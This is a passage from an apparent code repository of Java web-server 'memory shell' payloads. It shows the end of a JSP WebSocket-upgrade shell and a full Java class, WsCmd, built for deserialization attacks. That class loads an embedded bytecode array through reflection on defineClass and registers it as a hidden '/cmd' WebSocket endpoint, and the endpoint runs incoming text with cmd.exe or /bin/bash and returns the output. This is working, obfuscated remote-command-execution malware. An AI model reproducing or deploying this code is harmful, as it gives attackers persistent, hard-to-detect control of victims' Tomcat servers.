requestFacade.upgrade(WsHttpUpgradeHandler.class); 156 | if (wsHandler != null) { 157 | // Tomcat 8 preInit 158 | wsHandler.preInit(configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); 159 | // Tomcat 7 preInit 160 | // Endpoint ep = (Endpoint)configEndpoint.getConfigurator().getEndpointInstance(configEndpoint.getEndpointClass()); 161 | // wsHandler.preInit(ep, configEndpoint, container, wsRequest, negotiatedExtensionsPhase2, subProtocol, transformation, pathParams, request.isSecure()); 162 | } 163 | }catch (Exception e) { 164 | out.println(e.toString()); 165 | } 166 | %> 167 | -------------------------------------------------------------------------------- /Tomcat_Spring_Jetty/Deserialization.java: -------------------------------------------------------------------------------- 1 | import org.apache.catalina.core.StandardContext; 2 | import org.apache.catalina.loader.WebappClassLoaderBase; 3 | import org.apache.catalina.webresources.StandardRoot; 4 | import org.apache.tomcat.websocket.server.WsServerContainer; 5 | import javax.websocket.DeploymentException; 6 | import javax.websocket.server.ServerContainer; 7 | import javax.websocket.server.ServerEndpointConfig; 8 | import java.lang.reflect.Field; 9 | import java.lang.reflect.Method; 10 | 11 | public class WsCmd { 12 | static { 13 | try { 14 | String urlPath = "/cmd"; 15 | WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader(); 16 | StandardRoot standardroot = (StandardRoot) webappClassLoaderBase.getResources(); 17 | if (standardroot == null){ 18 | Field field; 19 | try { 20 | field = webappClassLoaderBase.getClass().getDeclaredField("resources"); 21 | field.setAccessible(true); 22 | }catch (Exception e){ 23 | field = webappClassLoaderBase.getClass().getSuperclass().getDeclaredField("resources"); 24 | field.setAccessible(true); 25 | } 26 | standardroot = (StandardRoot)field.get(webappClassLoaderBase); 27 | } 28 | StandardContext standardContext = (StandardContext) standardroot.getContext(); 29 | ClassLoader cl = Thread.currentThread().getContextClassLoader(); 30 | Class clazz; 31 | byte[] bytes = new byte[]{-54, -2, -70, -66, 0, 0, 0, 49, 0, 118, 10, 0, 30, 0, 46, 8, 0, 47, 10, 0, 48, 0, 49, 10, 0, 8, 0, 50, 8, 0, 51, 10, 0, 8, 0, 52, 10, 0, 53, 0, 54, 7, 0, 55, 8, 0, 56, 8, 0, 57, 10, 0, 53, 0, 58, 8, 0, 59, 8, 0, 60, 10, 0, 61, 0, 62, 7, 0, 63, 10, 0, 15, 0, 46, 10, 0, 64, 0, 65, 10, 0, 15, 0, 66, 10, 0, 64, 0, 67, 10, 0, 61, 0, 68, 9, 0, 29, 0, 69, 11, 0, 70, 0, 71, 10, 0, 15, 0, 72, 11, 0, 73, 0, 74, 7, 0, 75, 10, 0, 25, 0, 76, 11, 0, 70, 0, 77, 10, 0, 29, 0, 78, 7, 0, 79, 7, 0, 80, 7, 0, 82, 1, 0, 7, 115, 101, 115, 115, 105, 111, 110, 1, 0, 25, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 1, 0, 6, 60, 105, 110, 105, 116, 62, 1, 0, 3, 40, 41, 86, 1, 0, 4, 67, 111, 100, 101, 1, 0, 9, 111, 110, 77, 101, 115, 115, 97, 103, 101, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 86, 1, 0, 6, 111, 110, 79, 112, 101, 110, 1, 0, 60, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 67, 111, 110, 102, 105, 103, 59, 41, 86, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 79, 98, 106, 101, 99, 116, 59, 41, 86, 1, 0, 9, 83, 105, 103, 110, 97, 116, 117, 114, 101, 1, 0, 5, 87, 104, 111, 108, 101, 1, 0, 12, 73, 110, 110, 101, 114, 67, 108, 97, 115, 115, 101, 115, 1, 0, 84, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 59, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 60, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 62, 59, 12, 0, 34, 0, 35, 1, 0, 7, 111, 115, 46, 110, 97, 109, 101, 7, 0, 83, 12, 0, 84, 0, 85, 12, 0, 86, 0, 87, 1, 0, 7, 119, 105, 110, 100, 111, 119, 115, 12, 0, 88, 0, 89, 7, 0, 90, 12, 0, 91, 0, 92, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 1, 0, 7, 99, 109, 100, 46, 101, 120, 101, 1, 0, 2, 47, 99, 12, 0, 93, 0, 94, 1, 0, 9, 47, 98, 105, 110, 47, 98, 97, 115, 104, 1, 0, 2, 45, 99, 7, 0, 95, 12, 0, 96, 0, 97, 1, 0, 23, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 7, 0, 98, 12, 0, 99, 0, 100, 12, 0, 101, 0, 102, 12, 0, 103, 0, 35, 12, 0, 104, 0, 100, 12, 0, 32, 0, 33, 7, 0, 105, 12, 0, 106, 0, 108, 12, 0, 109, 0, 87, 7, 0, 111, 12, 0, 112, 0, 38, 1, 0, 19, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 69, 120, 99, 101, 112, 116, 105, 111, 110, 12, 0, 113, 0, 35, 12, 0, 114, 0, 115, 12, 0, 37, 0, 38, 1, 0, 10, 87, 101, 98, 83, 111, 99, 107, 101, 116, 67, 1, 0, 24, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 69, 110, 100, 112, 111, 105, 110, 116, 7, 0, 116, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 36, 87, 104, 111, 108, 101, 1, 0, 16, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 121, 115, 116, 101, 109, 1, 0, 11, 103, 101, 116, 80, 114, 111, 112, 101, 114, 116, 121, 1, 0, 38, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 11, 116, 111, 76, 111, 119, 101, 114, 67, 97, 115, 101, 1, 0, 20, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 1, 0, 10, 115, 116, 97, 114, 116, 115, 87, 105, 116, 104, 1, 0, 21, 40, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 90, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 1, 0, 10, 103, 101, 116, 82, 117, 110, 116, 105, 109, 101, 1, 0, 21, 40, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 82, 117, 110, 116, 105, 109, 101, 59, 1, 0, 4, 101, 120, 101, 99, 1, 0, 40, 40, 91, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 59, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 59, 1, 0, 17, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 80, 114, 111, 99, 101, 115, 115, 1, 0, 14, 103, 101, 116, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 23, 40, 41, 76, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 59, 1, 0, 19, 106, 97, 118, 97, 47, 105, 111, 47, 73, 110, 112, 117, 116, 83, 116, 114, 101, 97, 109, 1, 0, 4, 114, 101, 97, 100, 1, 0, 3, 40, 41, 73, 1, 0, 6, 97, 112, 112, 101, 110, 100, 1, 0, 28, 40, 67, 41, 76, 106, 97, 118, 97, 47, 108, 97, 110, 103, 47, 83, 116, 114, 105, 110, 103, 66, 117, 105, 108, 100, 101, 114, 59, 1, 0, 5, 99, 108, 111, 115, 101, 1, 0, 7, 119, 97, 105, 116, 70, 111, 114, 1, 0, 23, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 83, 101, 115, 115, 105, 111, 110, 1, 0, 14, 103, 101, 116, 66, 97, 115, 105, 99, 82, 101, 109, 111, 116, 101, 1, 0, 5, 66, 97, 115, 105, 99, 1, 0, 40, 40, 41, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 59, 1, 0, 8, 116, 111, 83, 116, 114, 105, 110, 103, 7, 0, 117, 1, 0, 36, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 36, 66, 97, 115, 105, 99, 1, 0, 8, 115, 101, 110, 100, 84, 101, 120, 116, 1, 0, 15, 112, 114, 105, 110, 116, 83, 116, 97, 99, 107, 84, 114, 97, 99, 101, 1, 0, 17, 97, 100, 100, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 35, 40, 76, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 59, 41, 86, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 77, 101, 115, 115, 97, 103, 101, 72, 97, 110, 100, 108, 101, 114, 1, 0, 30, 106, 97, 118, 97, 120, 47, 119, 101, 98, 115, 111, 99, 107, 101, 116, 47, 82, 101, 109, 111, 116, 101, 69, 110, 100, 112, 111, 105, 110, 116, 0, 33, 0, 29, 0, 30, 0, 1, 0, 31, 0, 1, 0, 2, 0, 32, 0, 33, 0, 0, 0, 4, 0, 1, 0, 34, 0, 35, 0, 1, 0, 36, 0, 0, 0, 17, 0, 1, 0, 1, 0, 0, 0, 5, 42, -73, 0, 1, -79, 0, 0, 0, 0, 0, 1, 0, 37, 0, 38, 0, 1, 0, 36, 0, 0, 0, -88, 0, 5, 0, 7, 0, 0, 0, -108, 18, 2, -72, 0, 3, -74, 0, 4, 18, 5, -74, 0, 6, 62, 29, -103, 0, 31, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 9, 83, 89, 4, 18, 10, 83, 89, 5, 43, 83, -74, 0, 11, 77, -89, 0, 28, -72, 0, 7, 6, -67, 0, 8, 89, 3, 18, 12, 83, 89, 4, 18, 13, 83, 89, 5, 43, 83, -74, 0, 11, 77, 44, -74, 0, 14, 58, 4, -69, 0, 15, 89, -73, 0, 16, 58, 5, 25, 4, -74, 0, 17, 89, 54, 6, 2, -97, 0, 15, 25, 5, 21, 6, -110, -74, 0, 18, 87, -89, -1, -21, 25, 4, -74, 0, 19, 44, -74, 0, 20, 87, 42, -76, 0, 21, -71, 0, 22, 1, 0, 25, 5, -74, 0, 23, -71, 0, 24, 2, 0, -89, 0, 8, 77, 44, -74, 0, 26, -79, 0, 1, 0, 0, 0, -117, 0, -114, 0, 25, 0, 0, 0, 1, 0, 39, 0, 40, 0, 1, 0, 36, 0, 0, 0, 25, 0, 2, 0, 3, 0, 0, 0, 13, 42, 43, -75, 0, 21, 43, 42, -71, 0, 27, 2, 0, -79, 0, 0, 0, 0, 16, 65, 0, 37, 0, 41, 0, 1, 0, 36, 0, 0, 0, 21, 0, 2, 0, 2, 0, 0, 0, 9, 42, 43, -64, 0, 8, -74, 0, 28, -79, 0, 0, 0, 0, 0, 2, 0, 42, 0, 0, 0, 2, 0, 45, 0, 44, 0, 0, 0, 18, 0, 2, 0, 31, 0, 81, 0, 43, 6, 9, 0, 73, 0, 110, 0, 107, 6, 9}; 32 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 33 | method.setAccessible(true); 34 | clazz = (Class) method.invoke(cl, bytes, 0, bytes.length); 35 | ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(clazz, urlPath).build(); 36 | WsServerContainer container = (WsServerContainer) standardContext.getServletContext().getAttribute(ServerContainer.class.getName()); 37 | if (null == container.findMapping(urlPath)) { 38 | try { 39 | container.addEndpoint(configEndpoint); 40 | } catch (DeploymentException e) { 41 | e.printStackTrace(); 42 | } 43 | } 44 | } catch (Exception e) { 45 | e.printStackTrace(); 46 | } 47 | } 48 | } 49 | --------------------------------------------------------------------------------